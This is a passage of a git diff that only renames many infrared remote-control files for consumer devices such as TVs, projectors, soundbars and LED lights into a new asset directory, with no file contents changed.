similarity index 100% rename from assets/resources/infrared/optional-assets/Amz_snd_bar.ir rename to assets/ir_optional_assets/optional-assets/Amz_snd_bar.ir diff --git a/assets/resources/infrared/optional-assets/Apple_tv.ir b/assets/ir_optional_assets/optional-assets/Apple_tv.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Apple_tv.ir rename to assets/ir_optional_assets/optional-assets/Apple_tv.ir diff --git a/assets/resources/infrared/optional-assets/Audio Receivers/Onkyo/Onkyo.ir b/assets/ir_optional_assets/optional-assets/Audio Receivers/Onkyo/Onkyo.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Audio Receivers/Onkyo/Onkyo.ir rename to assets/ir_optional_assets/optional-assets/Audio Receivers/Onkyo/Onkyo.ir diff --git a/assets/resources/infrared/optional-assets/Audio Receivers/Onkyo/Onkyo_RC627S.ir b/assets/ir_optional_assets/optional-assets/Audio Receivers/Onkyo/Onkyo_RC627S.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Audio Receivers/Onkyo/Onkyo_RC627S.ir rename to assets/ir_optional_assets/optional-assets/Audio Receivers/Onkyo/Onkyo_RC627S.ir diff --git a/assets/resources/infrared/optional-assets/Audio Receivers/Sony/Sony_MHC-GS300AV.ir b/assets/ir_optional_assets/optional-assets/Audio Receivers/Sony/Sony_MHC-GS300AV.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Audio Receivers/Sony/Sony_MHC-GS300AV.ir rename to assets/ir_optional_assets/optional-assets/Audio Receivers/Sony/Sony_MHC-GS300AV.ir diff --git a/assets/resources/infrared/optional-assets/BenQ.ir b/assets/ir_optional_assets/optional-assets/BenQ.ir similarity index 100% rename from assets/resources/infrared/optional-assets/BenQ.ir rename to assets/ir_optional_assets/optional-assets/BenQ.ir diff --git a/assets/resources/infrared/optional-assets/Blu-Ray/LG/LG_BlueRay.ir b/assets/ir_optional_assets/optional-assets/Blu-Ray/LG/LG_BlueRay.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Blu-Ray/LG/LG_BlueRay.ir rename to assets/ir_optional_assets/optional-assets/Blu-Ray/LG/LG_BlueRay.ir diff --git a/assets/resources/infrared/optional-assets/Blu-Ray/Toshiba/Toshiba_SE-R0398.ir b/assets/ir_optional_assets/optional-assets/Blu-Ray/Toshiba/Toshiba_SE-R0398.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Blu-Ray/Toshiba/Toshiba_SE-R0398.ir rename to assets/ir_optional_assets/optional-assets/Blu-Ray/Toshiba/Toshiba_SE-R0398.ir diff --git a/assets/resources/infrared/optional-assets/CCTV/BrandUnknown/Szxlcom_cams.ir b/assets/ir_optional_assets/optional-assets/CCTV/BrandUnknown/Szxlcom_cams.ir similarity index 100% rename from assets/resources/infrared/optional-assets/CCTV/BrandUnknown/Szxlcom_cams.ir rename to assets/ir_optional_assets/optional-assets/CCTV/BrandUnknown/Szxlcom_cams.ir diff --git a/assets/resources/infrared/optional-assets/CCTV/MarshallElectronics/Marshall_CV610.ir b/assets/ir_optional_assets/optional-assets/CCTV/MarshallElectronics/Marshall_CV610.ir similarity index 100% rename from assets/resources/infrared/optional-assets/CCTV/MarshallElectronics/Marshall_CV610.ir rename to assets/ir_optional_assets/optional-assets/CCTV/MarshallElectronics/Marshall_CV610.ir diff --git a/assets/resources/infrared/optional-assets/Cable Boxes/Amino/Amino_Amigo.ir b/assets/ir_optional_assets/optional-assets/Cable Boxes/Amino/Amino_Amigo.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Cable Boxes/Amino/Amino_Amigo.ir rename to assets/ir_optional_assets/optional-assets/Cable Boxes/Amino/Amino_Amigo.ir diff --git a/assets/resources/infrared/optional-assets/Cable Boxes/DIRECTV/DIRECTV.ir b/assets/ir_optional_assets/optional-assets/Cable Boxes/DIRECTV/DIRECTV.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Cable Boxes/DIRECTV/DIRECTV.ir rename to assets/ir_optional_assets/optional-assets/Cable Boxes/DIRECTV/DIRECTV.ir diff --git a/assets/resources/infrared/optional-assets/Cable Boxes/Telus/Telus_OptikTV.ir b/assets/ir_optional_assets/optional-assets/Cable Boxes/Telus/Telus_OptikTV.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Cable Boxes/Telus/Telus_OptikTV.ir rename to assets/ir_optional_assets/optional-assets/Cable Boxes/Telus/Telus_OptikTV.ir diff --git a/assets/resources/infrared/optional-assets/Cameras/Sony/Nikon.ir b/assets/ir_optional_assets/optional-assets/Cameras/Sony/Nikon.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Cameras/Sony/Nikon.ir rename to assets/ir_optional_assets/optional-assets/Cameras/Sony/Nikon.ir diff --git a/assets/resources/infrared/optional-assets/Cameras/Sony/Sony.ir b/assets/ir_optional_assets/optional-assets/Cameras/Sony/Sony.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Cameras/Sony/Sony.ir rename to assets/ir_optional_assets/optional-assets/Cameras/Sony/Sony.ir diff --git a/assets/resources/infrared/optional-assets/Casio-Projector_yt130.ir b/assets/ir_optional_assets/optional-assets/Casio-Projector_yt130.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Casio-Projector_yt130.ir rename to assets/ir_optional_assets/optional-assets/Casio-Projector_yt130.ir diff --git a/assets/resources/infrared/optional-assets/Consoles/Microsoft/Xbox.ir b/assets/ir_optional_assets/optional-assets/Consoles/Microsoft/Xbox.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Consoles/Microsoft/Xbox.ir rename to assets/ir_optional_assets/optional-assets/Consoles/Microsoft/Xbox.ir diff --git a/assets/resources/infrared/optional-assets/Converters/RME/RME_ADI-2_DAC_FS.ir b/assets/ir_optional_assets/optional-assets/Converters/RME/RME_ADI-2_DAC_FS.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Converters/RME/RME_ADI-2_DAC_FS.ir rename to assets/ir_optional_assets/optional-assets/Converters/RME/RME_ADI-2_DAC_FS.ir diff --git a/assets/resources/infrared/optional-assets/Converters/ReadMe.md b/assets/ir_optional_assets/optional-assets/Converters/ReadMe.md similarity index 100% rename from assets/resources/infrared/optional-assets/Converters/ReadMe.md rename to assets/ir_optional_assets/optional-assets/Converters/ReadMe.md diff --git a/assets/resources/infrared/optional-assets/Cv610_remote.ir b/assets/ir_optional_assets/optional-assets/Cv610_remote.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Cv610_remote.ir rename to assets/ir_optional_assets/optional-assets/Cv610_remote.ir diff --git a/assets/resources/infrared/optional-assets/Da_lite_proj_scrn.ir b/assets/ir_optional_assets/optional-assets/Da_lite_proj_scrn.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Da_lite_proj_scrn.ir rename to assets/ir_optional_assets/optional-assets/Da_lite_proj_scrn.ir diff --git a/assets/resources/infrared/optional-assets/Direct_tv.ir b/assets/ir_optional_assets/optional-assets/Direct_tv.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Direct_tv.ir rename to assets/ir_optional_assets/optional-assets/Direct_tv.ir diff --git a/assets/resources/infrared/optional-assets/Dragonfly_scrn.ir b/assets/ir_optional_assets/optional-assets/Dragonfly_scrn.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Dragonfly_scrn.ir rename to assets/ir_optional_assets/optional-assets/Dragonfly_scrn.ir diff --git a/assets/resources/infrared/optional-assets/Dreo_heater.ir b/assets/ir_optional_assets/optional-assets/Dreo_heater.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Dreo_heater.ir rename to assets/ir_optional_assets/optional-assets/Dreo_heater.ir diff --git a/assets/resources/infrared/optional-assets/Dyson_air_multiplier.ir b/assets/ir_optional_assets/optional-assets/Dyson_air_multiplier.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Dyson_air_multiplier.ir rename to assets/ir_optional_assets/optional-assets/Dyson_air_multiplier.ir diff --git a/assets/resources/infrared/optional-assets/Dyson_hp09.ir b/assets/ir_optional_assets/optional-assets/Dyson_hp09.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Dyson_hp09.ir rename to assets/ir_optional_assets/optional-assets/Dyson_hp09.ir diff --git a/assets/resources/infrared/optional-assets/Epson.ir b/assets/ir_optional_assets/optional-assets/Epson.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Epson.ir rename to assets/ir_optional_assets/optional-assets/Epson.ir diff --git a/assets/resources/infrared/optional-assets/Hdmi_switch.ir b/assets/ir_optional_assets/optional-assets/Hdmi_switch.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Hdmi_switch.ir rename to assets/ir_optional_assets/optional-assets/Hdmi_switch.ir diff --git a/assets/resources/infrared/optional-assets/Head Units/GPX/GPX_CDRadio.ir b/assets/ir_optional_assets/optional-assets/Head Units/GPX/GPX_CDRadio.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Head Units/GPX/GPX_CDRadio.ir rename to assets/ir_optional_assets/optional-assets/Head Units/GPX/GPX_CDRadio.ir diff --git a/assets/resources/infrared/optional-assets/Head Units/Pioneer/Pioneer_DMH-1770NEX.ir b/assets/ir_optional_assets/optional-assets/Head Units/Pioneer/Pioneer_DMH-1770NEX.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Head Units/Pioneer/Pioneer_DMH-1770NEX.ir rename to assets/ir_optional_assets/optional-assets/Head Units/Pioneer/Pioneer_DMH-1770NEX.ir diff --git a/assets/resources/infrared/optional-assets/LED Lighting/Amazon/Amazon_LED_Lights.ir b/assets/ir_optional_assets/optional-assets/LED Lighting/Amazon/Amazon_LED_Lights.ir similarity index 100% rename from assets/resources/infrared/optional-assets/LED Lighting/Amazon/Amazon_LED_Lights.ir rename to assets/ir_optional_assets/optional-assets/LED Lighting/Amazon/Amazon_LED_Lights.ir diff --git a/assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/44_Button_LED.ir b/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/44_Button_LED.ir similarity index 100% rename from assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/44_Button_LED.ir rename to assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/44_Button_LED.ir diff --git a/assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/Color_Change_Bulb_Remote.ir b/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/Color_Change_Bulb_Remote.ir similarity index 100% rename from assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/Color_Change_Bulb_Remote.ir rename to assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/Color_Change_Bulb_Remote.ir diff --git a/assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/DMX_Light.ir b/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/DMX_Light.ir similarity index 100% rename from assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/DMX_Light.ir rename to assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/DMX_Light.ir diff --git a/assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/LEDStrip.ir b/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/LEDStrip.ir similarity index 100% rename from assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/LEDStrip.ir rename to assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/LEDStrip.ir diff --git a/assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/LED_44Key.ir b/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/LED_44Key.ir similarity index 100% rename from assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/LED_44Key.ir rename to assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/LED_44Key.ir diff --git a/assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/Light_Strip.ir b/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/Light_Strip.ir similarity index 100% rename from assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/Light_Strip.ir rename to assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/Light_Strip.ir diff --git a/assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/Magic_Lighting_Remote.ir b/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/Magic_Lighting_Remote.ir similarity index 100% rename from assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/Magic_Lighting_Remote.ir rename to assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/Magic_Lighting_Remote.ir diff --git a/assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/Practical_Series_2.ir b/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/Practical_Series_2.ir similarity index 100% rename from assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/Practical_Series_2.ir rename to assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/Practical_Series_2.ir diff --git a/assets/resources/infrared/optional-assets/LED Lighting/MonsterIlluminessence/MonsterIlluminessence_LED.ir b/assets/ir_optional_assets/optional-assets/LED Lighting/MonsterIlluminessence/MonsterIlluminessence_LED.ir similarity index 100% rename from assets/resources/infrared/optional-assets/LED Lighting/MonsterIlluminessence/MonsterIlluminessence_LED.ir rename to assets/ir_optional_assets/optional-assets/LED Lighting/MonsterIlluminessence/MonsterIlluminessence_LED.ir diff --git a/assets/resources/infrared/optional-assets/LED Lighting/mlambert_rope_light.ir b/assets/ir_optional_assets/optional-assets/LED Lighting/mlambert_rope_light.ir similarity index 100% rename from assets/resources/infrared/optional-assets/LED Lighting/mlambert_rope_light.ir rename to assets/ir_optional_assets/optional-assets/LED Lighting/mlambert_rope_light.ir diff --git a/assets/resources/infrared/optional-assets/LG_AC.ir b/assets/ir_optional_assets/optional-assets/LG_AC.ir similarity index 100% rename from assets/resources/infrared/optional-assets/LG_AC.ir rename to assets/ir_optional_assets/optional-assets/LG_AC.ir diff --git a/assets/resources/infrared/optional-assets/LG_BlueRay.ir b/assets/ir_optional_assets/optional-assets/LG_BlueRay.ir similarity index 100% rename from assets/resources/infrared/optional-assets/LG_BlueRay.ir rename to assets/ir_optional_assets/optional-assets/LG_BlueRay.ir diff --git a/assets/resources/infrared/optional-assets/LG_C1.ir b/assets/ir_optional_assets/optional-assets/LG_C1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/LG_C1.ir rename to assets/ir_optional_assets/optional-assets/LG_C1.ir diff --git a/assets/resources/infrared/optional-assets/Lasko_fan.ir b/assets/ir_optional_assets/optional-assets/Lasko_fan.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Lasko_fan.ir rename to assets/ir_optional_assets/optional-assets/Lasko_fan.ir diff --git a/assets/resources/infrared/optional-assets/Lasko_heater.ir b/assets/ir_optional_assets/optional-assets/Lasko_heater.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Lasko_heater.ir rename to assets/ir_optional_assets/optional-assets/Lasko_heater.ir diff --git a/assets/resources/infrared/optional-assets/Miscellaneous/AMI/AMI_Jukebox.ir b/assets/ir_optional_assets/optional-assets/Miscellaneous/AMI/AMI_Jukebox.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Miscellaneous/AMI/AMI_Jukebox.ir rename to assets/ir_optional_assets/optional-assets/Miscellaneous/AMI/AMI_Jukebox.ir diff --git a/assets/resources/infrared/optional-assets/Miscellaneous/HDMI_Switch.ir b/assets/ir_optional_assets/optional-assets/Miscellaneous/HDMI_Switch.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Miscellaneous/HDMI_Switch.ir rename to assets/ir_optional_assets/optional-assets/Miscellaneous/HDMI_Switch.ir diff --git a/assets/resources/infrared/optional-assets/Miscellaneous/Hasbro/Furby/Furby.ir b/assets/ir_optional_assets/optional-assets/Miscellaneous/Hasbro/Furby/Furby.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Miscellaneous/Hasbro/Furby/Furby.ir rename to assets/ir_optional_assets/optional-assets/Miscellaneous/Hasbro/Furby/Furby.ir diff --git a/assets/resources/infrared/optional-assets/Miscellaneous/LG/LG.ir b/assets/ir_optional_assets/optional-assets/Miscellaneous/LG/LG.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Miscellaneous/LG/LG.ir rename to assets/ir_optional_assets/optional-assets/Miscellaneous/LG/LG.ir diff --git a/assets/resources/infrared/optional-assets/Miscellaneous/LaserX/LaserX_Tag.ir b/assets/ir_optional_assets/optional-assets/Miscellaneous/LaserX/LaserX_Tag.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Miscellaneous/LaserX/LaserX_Tag.ir rename to assets/ir_optional_assets/optional-assets/Miscellaneous/LaserX/LaserX_Tag.ir diff --git a/assets/resources/infrared/optional-assets/Miscellaneous/ReadMe.md b/assets/ir_optional_assets/optional-assets/Miscellaneous/ReadMe.md similarity index 100% rename from assets/resources/infrared/optional-assets/Miscellaneous/ReadMe.md rename to assets/ir_optional_assets/optional-assets/Miscellaneous/ReadMe.md diff --git a/assets/resources/infrared/optional-assets/NEC.ir b/assets/ir_optional_assets/optional-assets/NEC.ir similarity index 100% rename from assets/resources/infrared/optional-assets/NEC.ir rename to assets/ir_optional_assets/optional-assets/NEC.ir diff --git a/assets/resources/infrared/optional-assets/Nikon.ir b/assets/ir_optional_assets/optional-assets/Nikon.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Nikon.ir rename to assets/ir_optional_assets/optional-assets/Nikon.ir diff --git a/assets/resources/infrared/optional-assets/Old_sonyxbr.ir b/assets/ir_optional_assets/optional-assets/Old_sonyxbr.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Old_sonyxbr.ir rename to assets/ir_optional_assets/optional-assets/Old_sonyxbr.ir diff --git a/assets/resources/infrared/optional-assets/Panasonic_TC-P50S2.ir b/assets/ir_optional_assets/optional-assets/Panasonic_TC-P50S2.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Panasonic_TC-P50S2.ir rename to assets/ir_optional_assets/optional-assets/Panasonic_TC-P50S2.ir diff --git a/assets/resources/infrared/optional-assets/Pioneer_1770nex.ir b/assets/ir_optional_assets/optional-assets/Pioneer_1770nex.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Pioneer_1770nex.ir rename to assets/ir_optional_assets/optional-assets/Pioneer_1770nex.ir diff --git a/assets/resources/infrared/optional-assets/Projectors/BenQ/BenQ.ir b/assets/ir_optional_assets/optional-assets/Projectors/BenQ/BenQ.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Projectors/BenQ/BenQ.ir rename to assets/ir_optional_assets/optional-assets/Projectors/BenQ/BenQ.ir diff --git a/assets/resources/infrared/optional-assets/Projectors/BrandUnknown/LED Smart Home Theater Projector.ir b/assets/ir_optional_assets/optional-assets/Projectors/BrandUnknown/LED Smart Home Theater Projector.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Projectors/BrandUnknown/LED Smart Home Theater Projector.ir rename to assets/ir_optional_assets/optional-assets/Projectors/BrandUnknown/LED Smart Home Theater Projector.ir diff --git a/assets/resources/infrared/optional-assets/Projectors/BrandUnknown/README.md b/assets/ir_optional_assets/optional-assets/Projectors/BrandUnknown/README.md similarity index 100% rename from assets/resources/infrared/optional-assets/Projectors/BrandUnknown/README.md rename to assets/ir_optional_assets/optional-assets/Projectors/BrandUnknown/README.md diff --git a/assets/resources/infrared/optional-assets/Projectors/BrandUnknown/Scrn_innov.ir b/assets/ir_optional_assets/optional-assets/Projectors/BrandUnknown/Scrn_innov.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Projectors/BrandUnknown/Scrn_innov.ir rename to assets/ir_optional_assets/optional-assets/Projectors/BrandUnknown/Scrn_innov.ir diff --git a/assets/resources/infrared/optional-assets/Projectors/BrandUnknown/Stlth_acou.ir b/assets/ir_optional_assets/optional-assets/Projectors/BrandUnknown/Stlth_acou.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Projectors/BrandUnknown/Stlth_acou.ir rename to assets/ir_optional_assets/optional-assets/Projectors/BrandUnknown/Stlth_acou.ir diff --git a/assets/resources/infrared/optional-assets/Projectors/Casio/Casio_YT-130.ir b/assets/ir_optional_assets/optional-assets/Projectors/Casio/Casio_YT-130.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Projectors/Casio/Casio_YT-130.ir rename to assets/ir_optional_assets/optional-assets/Projectors/Casio/Casio_YT-130.ir diff --git a/assets/resources/infrared/optional-assets/Projectors/Da-Lite/Da-Lite_ProjectorScreen.ir b/assets/ir_optional_assets/optional-assets/Projectors/Da-Lite/Da-Lite_ProjectorScreen.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Projectors/Da-Lite/Da-Lite_ProjectorScreen.ir rename to assets/ir_optional_assets/optional-assets/Projectors/Da-Lite/Da-Lite_ProjectorScreen.ir diff --git a/assets/resources/infrared/optional-assets/Projectors/Dragonfly/Dragonfly_Screen.ir b/assets/ir_optional_assets/optional-assets/Projectors/Dragonfly/Dragonfly_Screen.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Projectors/Dragonfly/Dragonfly_Screen.ir rename to assets/ir_optional_assets/optional-assets/Projectors/Dragonfly/Dragonfly_Screen.ir diff --git a/assets/resources/infrared/optional-assets/Projectors/Epson/Epson.ir b/assets/ir_optional_assets/optional-assets/Projectors/Epson/Epson.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Projectors/Epson/Epson.ir rename to assets/ir_optional_assets/optional-assets/Projectors/Epson/Epson.ir diff --git a/assets/resources/infrared/optional-assets/Roku.ir b/assets/ir_optional_assets/optional-assets/Roku.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Roku.ir rename to assets/ir_optional_assets/optional-assets/Roku.ir diff --git a/assets/resources/infrared/optional-assets/Roku2.ir b/assets/ir_optional_assets/optional-assets/Roku2.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Roku2.ir rename to assets/ir_optional_assets/optional-assets/Roku2.ir diff --git a/assets/resources/infrared/optional-assets/Samsung.ir b/assets/ir_optional_assets/optional-assets/Samsung.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Samsung.ir rename to assets/ir_optional_assets/optional-assets/Samsung.ir diff --git a/assets/resources/infrared/optional-assets/Samsung_TV.ir b/assets/ir_optional_assets/optional-assets/Samsung_TV.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Samsung_TV.ir rename to assets/ir_optional_assets/optional-assets/Samsung_TV.ir diff --git a/assets/resources/infrared/optional-assets/Samsung_e6.ir b/assets/ir_optional_assets/optional-assets/Samsung_e6.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Samsung_e6.ir rename to assets/ir_optional_assets/optional-assets/Samsung_e6.ir diff --git a/assets/resources/infrared/optional-assets/Scrn_innov.ir b/assets/ir_optional_assets/optional-assets/Scrn_innov.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Scrn_innov.ir rename to assets/ir_optional_assets/optional-assets/Scrn_innov.ir diff --git a/assets/resources/infrared/optional-assets/Sharp_Roku_TV.ir b/assets/ir_optional_assets/optional-assets/Sharp_Roku_TV.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Sharp_Roku_TV.ir rename to assets/ir_optional_assets/optional-assets/Sharp_Roku_TV.ir diff --git a/assets/resources/infrared/optional-assets/Sonyxbr.ir b/assets/ir_optional_assets/optional-assets/Sonyxbr.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Sonyxbr.ir rename to assets/ir_optional_assets/optional-assets/Sonyxbr.ir diff --git a/assets/resources/infrared/optional-assets/SoundBars/Bose/Bose_Solo_2.ir b/assets/ir_optional_assets/optional-assets/SoundBars/Bose/Bose_Solo_2.ir similarity index 100% rename from assets/resources/infrared/optional-assets/SoundBars/Bose/Bose_Solo_2.ir rename to assets/ir_optional_assets/optional-assets/SoundBars/Bose/Bose_Solo_2.ir diff --git a/assets/resources/infrared/optional-assets/SoundBars/Bose/Bose_Solo_5.ir b/assets/ir_optional_assets/optional-assets/SoundBars/Bose/Bose_Solo_5.ir similarity index 100% rename from assets/resources/infrared/optional-assets/SoundBars/Bose/Bose_Solo_5.ir rename to assets/ir_optional_assets/optional-assets/SoundBars/Bose/Bose_Solo_5.ir diff --git a/assets/resources/infrared/optional-assets/SoundBars/Bose/Bose_Soundbar.ir b/assets/ir_optional_assets/optional-assets/SoundBars/Bose/Bose_Soundbar.ir similarity index 100% rename from assets/resources/infrared/optional-assets/SoundBars/Bose/Bose_Soundbar.ir rename to assets/ir_optional_assets/optional-assets/SoundBars/Bose/Bose_Soundbar.ir diff --git a/assets/resources/infrared/optional-assets/SoundBars/BrandUnknown/Amz_snd_bar.ir b/assets/ir_optional_assets/optional-assets/SoundBars/BrandUnknown/Amz_snd_bar.ir similarity index 100% rename from assets/resources/infrared/optional-assets/SoundBars/BrandUnknown/Amz_snd_bar.ir rename to assets/ir_optional_assets/optional-assets/SoundBars/BrandUnknown/Amz_snd_bar.ir diff --git a/assets/resources/infrared/optional-assets/SoundBars/BrandUnknown/Soundblasterx.ir b/assets/ir_optional_assets/optional-assets/SoundBars/BrandUnknown/Soundblasterx.ir similarity index 100% rename from assets/resources/infrared/optional-assets/SoundBars/BrandUnknown/Soundblasterx.ir rename to assets/ir_optional_assets/optional-assets/SoundBars/BrandUnknown/Soundblasterx.ir diff --git a/assets/resources/infrared/optional-assets/SoundBars/Klipsch/Klipsch_Soundbar.ir b/assets/ir_optional_assets/optional-assets/SoundBars/Klipsch/Klipsch_Soundbar.ir similarity index 100% rename from assets/resources/infrared/optional-assets/SoundBars/Klipsch/Klipsch_Soundbar.ir rename to assets/ir_optional_assets/optional-assets/SoundBars/Klipsch/Klipsch_Soundbar.ir diff --git a/assets/resources/infrared/optional-assets/SoundBars/Samsung.ir b/assets/ir_optional_assets/optional-assets/SoundBars/Samsung.ir similarity index 100% rename from assets/resources/infrared/optional-assets/SoundBars/Samsung.ir rename to assets/ir_optional_assets/optional-assets/SoundBars/Samsung.ir diff --git a/assets/resources/infrared/optional-assets/SoundBars/Sony/Sony_MHC-GS300AV.ir b/assets/ir_optional_assets/optional-assets/SoundBars/Sony/Sony_MHC-GS300AV.ir similarity index 100% rename from assets/resources/infrared/optional-assets/SoundBars/Sony/Sony_MHC-GS300AV.ir rename to assets/ir_optional_assets/optional-assets/SoundBars/Sony/Sony_MHC-GS300AV.ir diff --git a/assets/resources/infrared/optional-assets/SoundBars/Sony/Sony_Old_XBR.ir b/assets/ir_optional_assets/optional-assets/SoundBars/Sony/Sony_Old_XBR.ir similarity index 100% rename from assets/resources/infrared/optional-assets/SoundBars/Sony/Sony_Old_XBR.ir rename to assets/ir_optional_assets/optional-assets/SoundBars/Sony/Sony_Old_XBR.ir diff --git a/assets/resources/infrared/optional-assets/SoundBars/Sony/Sony_RDH-GTK33IP.ir b/assets/ir_optional_assets/optional-assets/SoundBars/Sony/Sony_RDH-GTK33IP.ir similarity index 100% rename from assets/resources/infrared/optional-assets/SoundBars/Sony/Sony_RDH-GTK33IP.ir rename to assets/ir_optional_assets/optional-assets/SoundBars/Sony/Sony_RDH-GTK33IP.ir diff --git a/assets/resources/infrared/optional-assets/SoundBars/Vizio/Vizio_Soundbar.ir b/assets/ir_optional_assets/optional-assets/SoundBars/Vizio/Vizio_Soundbar.ir similarity index 100% rename from assets/resources/infrared/optional-assets/SoundBars/Vizio/Vizio_Soundbar.ir rename to assets/ir_optional_assets/optional-assets/SoundBars/Vizio/Vizio_Soundbar.ir diff --git a/assets/resources/infrared/optional-assets/SoundBars/Yamaha/Yamaha_RX.ir b/assets/ir_optional_assets/optional-assets/SoundBars/Yamaha/Yamaha_RX.ir similarity index 100% rename from assets/resources/infrared/optional-assets/SoundBars/Yamaha/Yamaha_RX.ir rename to assets/ir_optional_assets/optional-assets/SoundBars/Yamaha/Yamaha_RX.ir diff --git a/assets/resources/infrared/optional-assets/Stlth_acou.ir b/assets/ir_optional_assets/optional-assets/Stlth_acou.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Stlth_acou.ir rename to assets/ir_optional_assets/optional-assets/Stlth_acou.ir diff --git a/assets/resources/infrared/optional-assets/Streaming Devices/Apple/Apple_TV.ir b/assets/ir_optional_assets/optional-assets/Streaming Devices/Apple/Apple_TV.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Streaming Devices/Apple/Apple_TV.ir rename to assets/ir_optional_assets/optional-assets/Streaming Devices/Apple/Apple_TV.ir diff --git a/assets/resources/infrared/optional-assets/Streaming Devices/Roku/Jet_AFS-1000b.ir b/assets/ir_optional_assets/optional-assets/Streaming Devices/Roku/Jet_AFS-1000b.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Streaming Devices/Roku/Jet_AFS-1000b.ir rename to assets/ir_optional_assets/optional-assets/Streaming Devices/Roku/Jet_AFS-1000b.ir diff --git a/assets/resources/infrared/optional-assets/Streaming Devices/Roku/Roku.ir b/assets/ir_optional_assets/optional-assets/Streaming Devices/Roku/Roku.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Streaming Devices/Roku/Roku.ir rename to assets/ir_optional_assets/optional-assets/Streaming Devices/Roku/Roku.ir diff --git a/assets/resources/infrared/optional-assets/Streaming Devices/Roku/Roku2.ir b/assets/ir_optional_assets/optional-assets/Streaming Devices/Roku/Roku2.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Streaming Devices/Roku/Roku2.ir rename to assets/ir_optional_assets/optional-assets/Streaming Devices/Roku/Roku2.ir diff --git a/assets/resources/infrared/optional-assets/Streaming Devices/Roku/Roku_Alternate.ir b/assets/ir_optional_assets/optional-assets/Streaming Devices/Roku/Roku_Alternate.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Streaming Devices/Roku/Roku_Alternate.ir rename to assets/ir_optional_assets/optional-assets/Streaming Devices/Roku/Roku_Alternate.ir diff --git a/assets/resources/infrared/optional-assets/Sunbrite.ir b/assets/ir_optional_assets/optional-assets/Sunbrite.ir similarity index 